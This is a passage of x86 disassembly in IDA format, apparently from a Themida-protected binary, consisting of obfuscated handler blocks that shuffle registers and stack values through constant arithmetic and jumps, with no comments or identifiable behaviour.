		jmp	loc_56CFB5
; ---------------------------------------------------------------------------


loc_56FD4E:				; CODE XREF: sub_56207C-1A81j
		mov	dh, 0AFh
		jmp	loc_56BDF0
; ---------------------------------------------------------------------------


loc_56FD55:				; CODE XREF: sub_56207C+29F4j
		pop	ecx
		pop	esi
		add	eax, 5D800DFDh
		jmp	loc_567CBE
; ---------------------------------------------------------------------------


loc_56FD61:				; CODE XREF: sub_56207C+7D3j
		push	[esp+18h+var_18]
		jmp	loc_56FEEB
; ---------------------------------------------------------------------------


loc_56FD69:				; CODE XREF: sub_56207C-15C4j
		sub	esp, 4
		mov	[esp+1Ah+var_1C+2], esp
		jmp	loc_56020D
; ---------------------------------------------------------------------------


loc_56FD77:				; CODE XREF: sub_56207C+CA04j
		add	edi, 30936D4Dh
		jmp	loc_566B3D
; ---------------------------------------------------------------------------


loc_56FD82:				; CODE XREF: sub_56207C+3D8j
		push	edx
		jmp	loc_563782
; ---------------------------------------------------------------------------


loc_56FD88:				; CODE XREF: sub_56207C+6544j
		mov	[esp+22h+var_24+2], ebp
		push	[esp+22h+var_20+2]
		mov	ebp, [esp+26h+var_28+2]
		add	esp, 4
		jmp	loc_569D2A
; ---------------------------------------------------------------------------


loc_56FD9A:				; CODE XREF: sub_56207C+EC13j
		sub	esp, 4
		mov	[esp+26h+var_28+2], esi
		push	70E0h
		mov	[esp+2Ah+var_2C+2], esp
		push	ecx
		mov	ecx, 4
		add	[esp+2Eh+var_2C+2], ecx
		push	[esp+2Eh+var_30+2]
		jmp	loc_5625CB
; ---------------------------------------------------------------------------


loc_56FDBA:				; CODE XREF: sub_56207C+231Fj
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], ebx
		sub	esp, 4
		mov	[esp+22h+var_24+2], esi
		mov	esi, 356B4566h
		sub	[esp+22h+var_20+2], 3FCD0716h
		push	edi
		mov	edi, 78B67A5Eh
		xor	edi, 420368B6h
		jmp	loc_55F12F
; ---------------------------------------------------------------------------


loc_56FDE7:				; CODE XREF: sub_56207C+D4Fj
		xor	ebp, edi
		mov	edi, [esp+0Eh+var_10+2]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_568722
; ---------------------------------------------------------------------------


loc_56FDF9:				; CODE XREF: sub_56207C-14D3j
		mov	eax, [esp+10h+var_10]
		add	esp, 4
		push	ecx
		mov	ecx, 4FB9788Ah
		jmp	loc_563834
; ---------------------------------------------------------------------------


loc_56FE0D:				; CODE XREF: sub_56207C+8BA4j
		sub	edi, 27BDE265h
		sub	ecx, edi
		mov	edi, [esp+3Ch+var_3C]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_561CAF
; ---------------------------------------------------------------------------


loc_56FE26:				; CODE XREF: sub_56207C+5491j
		xchg	esi, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		jmp	loc_56C68B
; ---------------------------------------------------------------------------


loc_56FE31:				; CODE XREF: sub_56207C-111Dj
		add	eax, ecx
		pop	ecx
		push	[esp+30h+var_30]
		pop	ebp
		jmp	loc_571302
; ---------------------------------------------------------------------------


loc_56FE3D:				; CODE XREF: sub_56207C-1966j
		pop	edx
		add	ecx, 4
		jmp	loc_56CFCE
; ---------------------------------------------------------------------------


loc_56FE49:				; CODE XREF: sub_56207C+E571j
		add	ebp, 4
		push	ebp
		jmp	loc_560D3F
; ---------------------------------------------------------------------------


loc_56FE52:				; CODE XREF: sub_56207C+3294j
		or	edx, eax
		shl	edx, 1
		push	ecx
		mov	ecx, 24h
		add	ecx, edi
		xor	[ecx], edx
		pop	ecx
		xor	edx, [edi+24h]
		jmp	loc_56E118
; ---------------------------------------------------------------------------


loc_56FE69:				; CODE XREF: sub_56207C+5990j
		add	edi, 11407647h
		jmp	loc_56BFE9
; ---------------------------------------------------------------------------


loc_56FE74:				; CODE XREF: sub_56207C+5089j
		push	2580h
		mov	[esp+4Ch+var_4C], eax
		mov	eax, 15890F61h
		jmp	loc_5619DB
; ---------------------------------------------------------------------------


loc_56FE86:				; CODE XREF: sub_56207C-25B3j
		push	sp
		pop	small word ptr [esp+0Ah+var_C+2]
		add	word ptr [esp+8+var_8],	2
		pop	small word ptr [esp+8+var_8]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 2
		xchg	edx, [esp+0Ah+var_C+2]
		mov	esp, [esp+0Ah+var_C+2]
		jmp	loc_55E409
; ---------------------------------------------------------------------------


loc_56FEAD:				; CODE XREF: sub_56207C-1B12j
		add	[esp+28h+var_24], ecx
		jmp	loc_568C82
; ---------------------------------------------------------------------------


loc_56FEB6:				; CODE XREF: sub_56207C+3FF1j
		push	282Fh
		mov	[esp+14h+var_14], ebx
		mov	ebx, 303B54F7h
		shr	ebx, 5
		dec	ebx
		jmp	loc_571444
; ---------------------------------------------------------------------------


loc_56FECC:				; CODE XREF: sub_56207C+F338j
		sub	cl, 28h
		jmp	loc_572CEA
; ---------------------------------------------------------------------------


loc_56FED4:				; CODE XREF: sub_56207C+4C9Dj
		add	ecx, 4
		xchg	ecx, [esp+2Ah+var_2C+2]
		jmp	loc_572301
; ---------------------------------------------------------------------------


loc_56FEE2:				; CODE XREF: sub_56207C+BD5Fj
		sub	ecx, eax
		pop	eax
		push	ecx
		jmp	loc_56125E
; ---------------------------------------------------------------------------


loc_56FEEB:				; CODE XREF: sub_56207C+DCE8j
		pop	ebp
		add	esp, 4
		jmp	loc_572F00
; ---------------------------------------------------------------------------


loc_56FEF7:				; CODE XREF: sub_56207C-2DD5j
		sub	edi, 5A701B95h
		sub	edi, 0D8DA0CA1h
		mov	ebp, edi
		mov	edi, [esp+1Eh+var_20+2]
		jmp	loc_56F893
; ---------------------------------------------------------------------------


loc_56FF0D:				; CODE XREF: sub_56207C+A9F3j
		mov	eax, 6AC63544h
		push	ebx
		mov	ebx, 6AA70F6Dh
		neg	ebx
		sub	ebx, 6E8B5DE4h
		add	ebx, 46F7D326h
		xor	eax, ebx
		pop	ebx
		and	eax, 2019693Bh
		add	eax, 69595593h
		xor	eax, 1BEC2E14h
		inc	eax
		add	eax, 0E82EBF50h
		add	edx, eax
		jmp	loc_57152A
; ---------------------------------------------------------------------------


loc_56FF45:				; CODE XREF: sub_56207C+4865j
		sub	[esp+16h+var_14+2], edi
		push	edx
		mov	edx, 3B8B71D5h
		jmp	loc_56E43E
; ---------------------------------------------------------------------------


loc_56FF54:				; CODE XREF: sub_56207C+10C4Bj
		pop	ecx
		sub	edx, 4
		xchg	edx, [esp+16h+var_18+2]
		jmp	loc_56DFE6
; ---------------------------------------------------------------------------


loc_56FF63:				; CODE XREF: sub_56207C+33B5j
		mov	ebp, 59832C29h
		not	ebp
		inc	ebp
		sub	ebp, 3C310C06h
		xor	ebp, 0F3901045h
		sub	eax, 2C8B12C2h
		sub	eax, ebp
		jmp	loc_5725C7
; ---------------------------------------------------------------------------


loc_56FF83:				; CODE XREF: sub_56207C+13EDj
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+28h+var_28]
		jmp	loc_56B79A
; ---------------------------------------------------------------------------


loc_56FF95:				; CODE XREF: sub_56207C+B922j
		push	ebx
		push	0E3Fh
		mov	[esp+4Ah+var_4C+2], ebp
		push	3AA70EAAh
		push	[esp+4Eh+var_50+2]
		pop	ebp
		add	esp, 4
		jmp	loc_55F30C
; ---------------------------------------------------------------------------


loc_56FFAF:				; CODE XREF: sub_56207C+8C1Ej
		mov	edi, 4
		add	ebx, 7324D75h
		add	ebx, 13554562h
		add	ebx, edi
		jmp	loc_5725ED
; ---------------------------------------------------------------------------


loc_56FFC7:				; CODE XREF: sub_56207C+7E4Bj
		add	ebp, esi
		pop	esi
		sub	ebp, 4
		jmp	loc_5676D9
; ---------------------------------------------------------------------------


loc_56FFD2:				; DATA XREF: Themida_:0055E260o
		movzx	ax, byte ptr fs:[edx]
		push	small 2218h
		mov	word ptr [esp+20h+var_20], ax
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56FFE4:				; CODE XREF: sub_56207C+1A6Ej
		or	ecx, 231E121Bh
		or	ecx, 65A97F84h
		inc	ecx
		dec	ecx
		jmp	loc_5671C5
; ---------------------------------------------------------------------------


loc_56FFF7:				; CODE XREF: sub_56207C+4A1Dj
		mov	ebp, esp
		jmp	loc_5735F1
; ---------------------------------------------------------------------------


loc_56FFFE:				; CODE XREF: sub_56207C-12Aj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_56F8AD
; ---------------------------------------------------------------------------


loc_57000C:				; CODE XREF: sub_56207C-16AEj
		mov	[esp+48h+var_48], edi
		mov	edi, esp
		jmp	loc_56DB13
; ---------------------------------------------------------------------------


loc_570016:				; CODE XREF: sub_56207C+104B1j
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_564291
; ---------------------------------------------------------------------------


loc_570028:				; CODE XREF: sub_56207C-1DB6j
		mov	[esp+2+var_4+2], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp+2+var_4+2]
		xor	[esp+2+var_4+2], ecx
		jmp	loc_56A838
; ---------------------------------------------------------------------------


loc_570041:				; CODE XREF: sub_56207C-BDAj
		push	esi
		mov	esi, 302E0ADFh
		add	ebx, 2AF925B4h
		sub	ebx, 609122C1h
		jmp	loc_55F77F
; ---------------------------------------------------------------------------


loc_570058:				; CODE XREF: sub_56207C+4F82j
		sub	ax, 4FA9h
		add	ax, 14E0h
		pop	bx
		jmp	loc_567F0B
; ---------------------------------------------------------------------------


loc_570067:				; CODE XREF: sub_56207C-A8Ej
		pop	edx
		add	esp, 4
		push	6BACh
		mov	[esp+10h+var_10], edx
		push	esp
		jmp	loc_56D252
; ---------------------------------------------------------------------------


loc_570079:				; CODE XREF: sub_56207C-3CB8j
		xor	al, bl
		sub	esp, 4
		mov	[esp+4+var_4], ebx
		push	520Eh
		mov	[esp+8+var_8], eax
		mov	ah, 0F6h
		push	20Eh
		mov	[esp+0Ch+var_C], ecx
		mov	cl, ah
		push	6823h
		mov	[esp+10h+var_10], edx
		mov	dl, cl
		push	eax
		jmp	loc_572207
; ---------------------------------------------------------------------------


loc_5700A8:				; CODE XREF: sub_56207C+B257j
		mov	ebx, 31E21EF6h
		add	[esp+2Ch+var_24], ebx
		pop	ebx
		pop	edx
		mov	edx, [esp+24h+var_24]
		push	edi
		sub	esp, 4
		mov	[esp+2Ch+var_2C], esp
		add	[esp+2Ch+var_2C], 4
		pop	edi
		add	edi, 4
		jmp	loc_560FDD
; ---------------------------------------------------------------------------


loc_5700D0:				; CODE XREF: sub_56207C+CB03j
		xor	al, 0Eh
		xor	al, 0
		xor	dh, al
		pop	eax
		jmp	loc_56348E
; ---------------------------------------------------------------------------


loc_5700DC:				; CODE XREF: sub_56207C+A73Ej
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+2Ah+var_2C+2]
		pop	esp
		push	6A02h
		mov	[esp+2Ah+var_2C+2], ecx
		push	edi
		push	edx
		jmp	loc_5703D7
; ---------------------------------------------------------------------------


loc_5700FA:				; CODE XREF: sub_56207C+7822j
		push	ebx
		push	esp
		pop	ebx
		push	esi
		mov	esi, 4
		add	ebx, esi
		mov	esi, [esp+1Ch+var_1C]
		add	esp, 4
		sub	ebx, 4
		xor	ebx, [esp+18h+var_18]
		xor	[esp+18h+var_18], ebx
		jmp	loc_571C42
; ---------------------------------------------------------------------------


loc_57011F:				; CODE XREF: sub_56207C+9A6Fj
		mov	ebp, 6CDE52A9h
		shr	ebp, 5
		inc	ebp
		dec	ebp
		inc	ebp
		push	ebx
		jmp	loc_56A5D8
; ---------------------------------------------------------------------------


loc_570130:				; CODE XREF: sub_56207C+12B2j
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		jmp	loc_568766
; ---------------------------------------------------------------------------


loc_57013F:				; DATA XREF: Themida_:0055E350o
		mov	ax, word ptr [esp+2Eh+var_30+2]
		sub	esp, 4
		mov	[esp+32h+var_34+2], edx
		mov	edx, esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+36h+var_38+2]
		mov	esp, [esp+36h+var_38+2]
		jmp	loc_5708C1
; ---------------------------------------------------------------------------


loc_570168:				; CODE XREF: sub_56207C+7DACj
		mov	ecx, [esp+34h+var_34]
		push	esi
		jmp	loc_56E845
; ---------------------------------------------------------------------------


loc_570171:				; CODE XREF: sub_56207C+F2B0j
		push	edi
		jmp	loc_5641A9
; ---------------------------------------------------------------------------


loc_570177:				; CODE XREF: sub_56207C+CCF6j
		xchg	eax, ebp
		not	eax
		xor	ebp, eax
		xor	eax, ebp
		jmp	loc_572660
; ---------------------------------------------------------------------------


loc_570183:				; CODE XREF: sub_561298+3j
		push	7609h
		mov	[esp+18h+var_18], ebp
		mov	ebp, esp
		jmp	loc_55E518
; ---------------------------------------------------------------------------


loc_570192:				; CODE XREF: sub_56207C+843Fj
		pop	esi
		push	ebx
		jmp	loc_571E45
; ---------------------------------------------------------------------------


loc_570199:				; CODE XREF: sub_56207C+CA2Ej
		mov	ebx, [esp+3Ch+var_3C]
		add	esp, 4
		jmp	loc_56B587
; ---------------------------------------------------------------------------


loc_5701A4:				; DATA XREF: Themida_:0055E2F4o
		mov	cx, word ptr [esp+38h+var_38]
		push	7C28h
		mov	[esp+3Ch+var_3C], eax
		push	esp
		jmp	loc_56E5FB
; ---------------------------------------------------------------------------


loc_5701B6:				; CODE XREF: sub_56207C+705Ej
		pop	ebp
		mov	edx, [esp+0Eh+var_10+2]
		add	esp, 4
		push	[esp+0Ah+var_C+2]
		pop	eax
		add	esp, 4
		push	ecx
		mov	ecx, 2E294A81h
		sub	eax, 7D8959BBh
		sub	eax, ecx
		add	eax, 7D8959BBh
		jmp	loc_57125C
; ---------------------------------------------------------------------------


loc_5701E1:				; DATA XREF: Themida_:0055E148o
		mov	cx, word ptr [esp+0Ah+var_C+2]
		sub	esp, 4
		jmp	loc_56978D
; ---------------------------------------------------------------------------


loc_5701F0:				; CODE XREF: sub_56207C-3B50j
		push	ebx
		mov	ebx, 0BA049D1h
		and	ebx, 2C9227A3h
		sub	ebx, 4E0315F3h
		jmp	loc_5613C8
; ---------------------------------------------------------------------------


loc_570207:				; CODE XREF: sub_56207C+4E67j
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		push	ebp
		mov	ebp, 5DAA309Bh
		jmp	loc_5666E0
; ---------------------------------------------------------------------------
		pop	ecx
		push	small 1335h
		mov	word ptr [esp+0Ah+var_C+2], bx
		mov	bh, 0C0h
		sub	al, bh
		pop	bx
		push	ecx
		jmp	loc_55FCBB
; ---------------------------------------------------------------------------


loc_570230:				; CODE XREF: sub_56207C+11465j
		push	5564h
		mov	[esp+10h+var_10], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	edi
		push	ebp
		push	esp
		mov	ebp, [esp+1Ch+var_1C]
		add	esp, 4
		jmp	loc_565F60
; ---------------------------------------------------------------------------


loc_570251:				; CODE XREF: sub_56207C+70BEj
		add	esp, 4
		add	edx, 652C4DB4h
		push	esi
		mov	esi, 38990381h
		xor	edx, esi
		mov	esi, [esp+28h+var_28]
		add	esp, 4
		jmp	loc_5616AD
; ---------------------------------------------------------------------------


loc_570270:				; CODE XREF: sub_56207C-1922j
		pop	ebp
		jmp	loc_569153
; ---------------------------------------------------------------------------


loc_570276:				; CODE XREF: sub_56207C+A164j
		push	ebp
		push	[esp+28h+var_24]
		mov	ebp, [esp+2Ch+var_2C]
		add	esp, 4
		jmp	loc_569549
; ---------------------------------------------------------------------------


loc_570289:				; CODE XREF: sub_56207C+203Bj
		push	63A4h
		mov	[esp+26h+var_28+2], esi
		mov	esi, 3F4A6DBAh
		or	esi, 1C687483h
		shl	esi, 6
		sub	esi, 7C2F2BDFh
		add	edx, esi
		pop	esi
		jmp	loc_56A000
; ---------------------------------------------------------------------------


loc_5702AD:				; CODE XREF: sub_56207C+11582j
		mov	ebx, 62BE19F6h
		jmp	loc_56EB45
; ---------------------------------------------------------------------------


loc_5702B7:				; CODE XREF: sub_56207C+B95Bj
		or	ecx, edi
		jmp	loc_563007
; ---------------------------------------------------------------------------


loc_5702BE:				; CODE XREF: sub_56207C-2E45j
		mov	esi, [esp+1Eh+var_20+2]
		push	esi
		mov	esi, esp
		jmp	loc_5720AB
; ---------------------------------------------------------------------------


loc_5702C9:				; CODE XREF: sub_56207C+850Cj
		mov	ecx, [esp+3Ch+var_3C]
		add	esp, 4
		jmp	loc_560D6D
; ---------------------------------------------------------------------------


loc_5702D4:				; CODE XREF: sub_56207C-14BFj
		sub	edi, ebp
		pop	ebp
		push	[esp+10h+var_10]
		mov	ebp, [esp+14h+var_14]
		add	esp, 4
		add	esp, 4
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	54ADh
		mov	[esp+14h+var_14], esi
		mov	esi, 3FCh
		add	edi, 567B0958h
		jmp	loc_56D365
; ---------------------------------------------------------------------------


loc_570304:				; CODE XREF: sub_56207C+17F3j
		pop	eax
		add	ecx, 0BE74C0E7h
		sub	ebx, 6A0207DBh
		sub	ebx, ecx
		add	ebx, 6A0207DBh
		jmp	loc_56CE06
; ---------------------------------------------------------------------------


loc_57031E:				; CODE XREF: sub_56207C+C138j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_55F4D6
; ---------------------------------------------------------------------------


loc_570331:				; CODE XREF: sub_56207C+EE5Ej
		mov	[esp-14h+arg_10], esi
		mov	esi, 4
		push	ecx
		mov	ecx, 48F5739Bh
		add	[esp-10h+arg_14], ecx
		pop	ecx
		push	esi
		push	ecx
		mov	ecx, 6CFE685Ah
		push	eax
		mov	eax, ecx
		mov	esi, eax
		jmp	loc_56ED77
; ---------------------------------------------------------------------------


loc_570355:				; CODE XREF: sub_56207C+603Ej
		xchg	ebp, [esp+0Eh+var_10+2]
		pop	esp
		mov	[esp+0Ah+var_C+2], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+0Ah+var_C+2]
		jmp	loc_562098
; ---------------------------------------------------------------------------


loc_570372:				; CODE XREF: sub_56207C-2F8Bj
		pop	esp
		mov	ecx, [esp+6+var_8+2]
		add	esp, 4
		and	eax, ebx
		push	[esp+2+var_4+2]
		push	[esp+6+var_8+2]
		jmp	loc_565914
; ---------------------------------------------------------------------------


loc_570389:				; CODE XREF: sub_56207C+6A8Dj
		mul	cl
		movzx	cx, ah
		push	small 4BF6h
		mov	[esp+0], cx
		movzx	cx, al
		jmp	loc_56634F
; ---------------------------------------------------------------------------


loc_5703A0:				; CODE XREF: sub_56207C+4725j
		push	eax
		mov	eax, 54614298h
		add	ebx, 19E1103Dh
		jmp	loc_56DBEC
; ---------------------------------------------------------------------------


loc_5703B1:				; CODE XREF: sub_56207C-1D85j
		xor	edi, 10633D35h
		mov	eax, edi
		pop	edi
		and	eax, 5EEA1B55h
		shl	eax, 1
		add	eax, 7A7A6189h
		and	eax, 36210218h
		jmp	loc_563092
; ---------------------------------------------------------------------------
		push	dword ptr [edx]
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_5703D7:				; CODE XREF: sub_56207C+E079j
		mov	edx, 3B695140h
		push	edx
		jmp	loc_56D48B
; ---------------------------------------------------------------------------


loc_5703E2:				; CODE XREF: sub_56207C+411j
		add	esp, 4
		shr	eax, 0Eh
		xor	eax, ecx
		jmp	loc_56C420
; ---------------------------------------------------------------------------


loc_5703F2:				; CODE XREF: sub_56207C+69D9j
		mov	edi, 5241456Fh
		shr	edi, 3
		neg	edi
		add	edi, 0A4828B1h
		add	edx, edi
		pop	edi
		xchg	edx, [esp+42h+var_44+2]
		pop	esp
		add	esp, 4
		push	4607h
		mov	[esp+3Eh+var_40+2], esi
		push	esp
		mov	esi, [esp+42h+var_44+2]
		jmp	loc_572287
; ---------------------------------------------------------------------------


loc_570420:				; DATA XREF: Themida_:0055E29Co
		mov	ax, word ptr [esp+42h+var_44+2]
		sub	esp, 4
		jmp	loc_567DBA
; ---------------------------------------------------------------------------


loc_57042C:				; CODE XREF: sub_56207C+1161j
		mov	[esp+2Ch+var_2C], edx
		push	esp
		pop	edx
		jmp	loc_563EE6
; ---------------------------------------------------------------------------


loc_570436:				; CODE XREF: sub_56207C+D399j
		xchg	edi, [esp+30h+var_30]
		jmp	loc_55E600
; ---------------------------------------------------------------------------


loc_57043E:				; CODE XREF: sub_56207C+BCD2j
		add	esp, 4
		sub	ebx, 33B907EBh
		jmp	loc_55E817
; ---------------------------------------------------------------------------


loc_57044F:				; CODE XREF: sub_56207C+A852j
		mov	ebp, esp
		push	edx
		jmp	loc_56294D
; ---------------------------------------------------------------------------


loc_570457:				; CODE XREF: sub_56207C-3F0j
		ror	word ptr [esp+30h+var_30], cl
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_570461:				; CODE XREF: sub_56207C+D993j
		xchg	esi, [esp+1Eh+var_20+2]
		pop	esp
		mov	word ptr [esp+1Ah+var_1C+2], dx
		push	74A2h
		mov	[esp+1Eh+var_20+2], eax
		jmp	loc_56EC1D
; ---------------------------------------------------------------------------


loc_570476:				; CODE XREF: sub_56207C+BB76j
		add	ebx, 6D2F540Bh
		jmp	loc_563BFE
; ---------------------------------------------------------------------------


loc_570481:				; CODE XREF: sub_56207C+9DD2j
		push	edx
		dec	[esp+4Ch+var_4C]
		pop	edx
		or	edx, 58530879h
		and	edx, 102F4E2Ch
		sub	edx, 55B261Fh
		add	ebp, edx
		pop	edx
		sub	eax, ebp
		mov	ebp, [esp+44h+var_44]
		add	esp, 4
		jmp	loc_55E8E5
; ---------------------------------------------------------------------------


loc_5704A8:				; CODE XREF: sub_56207C+114C3j
		mov	eax, 4
		mov	ebp, eax
		pop	eax
		push	ebx
		mov	ebx, 487561FFh
		not	ebx
		add	ebx, 0A0BF87DBh
		jmp	loc_56D160
; ---------------------------------------------------------------------------


loc_5704C3:				; CODE XREF: sub_56207C+CF06j
		sub	[esp+26h+var_24+2], 32EE6E4Ch
		pop	eax
		push	6C1h
		mov	[esp+26h+var_28+2], ebx
		jmp	loc_5715A2
; ---------------------------------------------------------------------------


loc_5704D9:				; CODE XREF: sub_56207C-14E7j
		inc	edi
		inc	edi
		push	4DF1h
		mov	[esp+10h+var_10], esi
		mov	esi, 0ADCEC100h
		xor	edi, esi
		mov	esi, [esp+10h+var_10]
		add	esp, 4
		add	edx, edi
		pop	edi
		push	526Bh
		mov	[esp+0Ch+var_C], eax
		jmp	loc_565400
; ---------------------------------------------------------------------------


loc_570503:				; CODE XREF: sub_56207C+2798j
		add	al, 55h
		push	edx
		mov	dh, 0A3h
		shr	dh, 3
		jmp	loc_55FDD3
; ---------------------------------------------------------------------------


loc_570510:				; CODE XREF: sub_56207C-5j
		mov	edi, esp
		jmp	loc_56A4DF
; ---------------------------------------------------------------------------


loc_570517:				; CODE XREF: sub_56207C-3A9Cj
		push	eax
		mov	al, 0E3h
		jmp	loc_57363F
; ---------------------------------------------------------------------------


loc_57051F:				; CODE XREF: sub_56207C+262Bj
		pop	ebx
		push	[esp+0Eh+var_10+2]
		pop	edx
		add	esp, 4


loc_570527:				; CODE XREF: sub_56207C+97B8j
		push	ebx
		add	[esp+0Eh+var_10+2], 2FDF79D4h
		push	[esp+0Eh+var_10+2]
		pop	eax
		push	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp+16h+var_18+2]
		jmp	loc_56D2F5
; ---------------------------------------------------------------------------


loc_57054B:				; CODE XREF: sub_56207C+10E7j
		pop	esp
		mov	[esp+6Ch+var_6C], edx
		xor	[esp+6Ch+var_6C], 473B54E6h
		jmp	loc_56F764
; ---------------------------------------------------------------------------


loc_57055B:				; CODE XREF: sub_56207C+AF34j
		push	edi
		not	[esp+4Eh+var_50+2]
		inc	[esp+4Eh+var_50+2]
		jmp	loc_56390B
; ---------------------------------------------------------------------------


loc_570567:				; CODE XREF: sub_56207C+D7E1j
		mov	edx, 539A7067h
		xor	ecx, edx
		jmp	loc_56633B
; ---------------------------------------------------------------------------


loc_570573:				; CODE XREF: sub_56207C+D57Fj
		add	edi, edx
		mov	edx, [esp+10h+var_10]
		add	esp, 4
		add	edi, 62B95D37h
		add	edi, esi
		push	ebp
		mov	ebp, 62B95D37h
		jmp	loc_562B45
; ---------------------------------------------------------------------------


loc_57058E:				; CODE XREF: sub_56207C+22D7j
		shr	esi, 7
		sub	esi, 338F6647h
		xor	edx, esi
		pop	esi
		push	edx
		mov	edi, [esp+26h+var_28+2]
		add	esp, 4
		jmp	loc_564F9A
; ---------------------------------------------------------------------------


loc_5705A9:				; CODE XREF: sub_56207C+6FEj
		push	ebp
		jmp	loc_570646
; ---------------------------------------------------------------------------


loc_5705AF:				; CODE XREF: sub_56207C+F9FAj
		push	eax
		mov	al, dl
		jmp	loc_56660B
; ---------------------------------------------------------------------------


loc_5705B7:				; CODE XREF: sub_56207C+F9DBj
		push	22C7h
		mov	[esp+20h+var_20], esi
		mov	esi, 5A453D2Fh
		not	esi
		not	esi
		push	eax
		mov	eax, 1
		add	esi, eax
		pop	eax
		sub	esi, 407D11BBh
		shl	esi, 3
		sub	esi, 0CE415BA4h
		jmp	loc_5603C6
; ---------------------------------------------------------------------------


loc_5705E5:				; CODE XREF: sub_56207C-2307j
		add	ebp, ebx
		mov	ebx, [esp+20h+var_20]
		add	esp, 4
		jmp	loc_56FE49
; ---------------------------------------------------------------------------


loc_5705F2:				; CODE XREF: sub_56207C+14A8j
		add	edx, esi
		push	[esp+34h+var_34]
		jmp	loc_567B58
; ---------------------------------------------------------------------------


loc_5705FC:				; CODE XREF: sub_56207C+F330j
		push	[esp+38h+var_38]
		jmp	loc_56139A
; ---------------------------------------------------------------------------


loc_570604:				; CODE XREF: sub_56207C-2E6j
		xchg	ebx, [esp+1Ah+var_1C+2]
		mov	esp, [esp+1Ah+var_1C+2]
		and	eax, ecx
		push	[esp+1Ah+var_1C+2]
		push	[esp+1Eh+var_20+2]
		pop	ecx
		add	esp, 4
		push	edx
		jmp	loc_56283A
; ---------------------------------------------------------------------------


loc_57061F:				; CODE XREF: sub_56207C+4371j
		mov	ebx, esi
		jmp	loc_568AA4
; ---------------------------------------------------------------------------


loc_570626:				; CODE XREF: sub_56207C+113DBj
		push	738Bh
		mov	[esp+2Ch+var_2C], ebx
		mov	ebx, 1E8841BFh
		push	36C2h
		mov	[esp+30h+var_30], esi
		push	edx
		mov	edx, 4D155476h
		jmp	loc_56A856
; ---------------------------------------------------------------------------


loc_570646:				; CODE XREF: sub_56207C+E52Ej
		mov	ebp, 76261260h
		and	ebp, 5FBB775Eh
		add	ebp, 8711B63h
		add	eax, ebp
		pop	ebp
		jmp	loc_565CF0
; ---------------------------------------------------------------------------


loc_57065F:				; CODE XREF: sub_56207C-1013j
		and	eax, 72F8246Ah
		and	eax, 5F304729h
		sub	eax, 0CC4BABAh
		mov	ebx, eax
		mov	eax, [esp+30h+var_30]
		add	esp, 4
		add	eax, ebx
		push	[esp+2Ch+var_2C]
		pop	ebx
		add	esp, 4
		push	2981h
		mov	[esp+2Ch+var_2C], ebx
		push	537Ah
		mov	[esp+30h+var_30], ecx
		push	edx
		jmp	loc_564ECD
; ---------------------------------------------------------------------------


loc_570698:				; DATA XREF: Themida_:0055E25Co
		pop	dword ptr [edx]
		jmp	loc_56BFE4
; ---------------------------------------------------------------------------


loc_57069F:				; CODE XREF: sub_56207C-1E0Bj
		sub	esp, 4
		mov	[esp+1Ah+var_1C+2], esp
		add	[esp+1Ah+var_1C+2], 4
		jmp	loc_561710
; ---------------------------------------------------------------------------


loc_5706B1:				; CODE XREF: sub_56207C+C42Ej
		mov	ebx, [esp-0Ah+arg_4+2]
		add	esp, 4
		jmp	loc_5605F7
; ---------------------------------------------------------------------------


loc_5706BF:				; CODE XREF: sub_56207C+7C65j
		add	edi, ebx
		jmp	loc_571E5F
; ---------------------------------------------------------------------------


loc_5706C6:				; CODE XREF: sub_56207C+9506j
		pop	esi
		push	4670h
		jmp	loc_560805
; ---------------------------------------------------------------------------


loc_5706D1:				; DATA XREF: Themida_:0055E318o
		mov	ax, word ptr [esp+30h+var_30]
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 3BA073F7h
		sub	esp, 4
		mov	[esp+3Ch+var_3C], edx
		push	eax
		push	esi
		jmp	loc_56C8EB
; ---------------------------------------------------------------------------


loc_5706EE:				; CODE XREF: sub_56207C+104EDj
		sub	[esp+44h+var_3C], edx
		jmp	loc_567178
; ---------------------------------------------------------------------------


loc_5706F7:				; CODE XREF: sub_56207C+FEDFj
		mov	[esp+44h+var_44], edx
		jmp	sub_55F2AC
; ---------------------------------------------------------------------------


loc_5706FF:				; CODE XREF: sub_56207C+B97Cj
		add	ecx, 4
		push	edx
		jmp	loc_565A5E
; ---------------------------------------------------------------------------


loc_57070B:				; CODE XREF: sub_56207C+5338j
		mov	ebp, 1EC06471h
		inc	ebp
		shr	ebp, 5
		neg	ebp
		jmp	loc_55EC2E
; ---------------------------------------------------------------------------


loc_57071B:				; CODE XREF: sub_56207C+29CCj
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_563B5C
; ---------------------------------------------------------------------------


loc_570727:				; CODE XREF: sub_56207C+8DA6j
		pop	edx
		add	ebx, 302E0ADFh
		pop	edx
		xchg	ebx, [esp-0Eh+arg_8+2]
		pop	esp
		mov	dx, word ptr [esp-12h+arg_C+2]
		jmp	loc_55FA2D
; ---------------------------------------------------------------------------


loc_57073C:				; CODE XREF: sub_56207C+7815j
		add	ebx, edx
		mov	edx, [esp+24h+var_24]
		jmp	loc_56457B
; ---------------------------------------------------------------------------


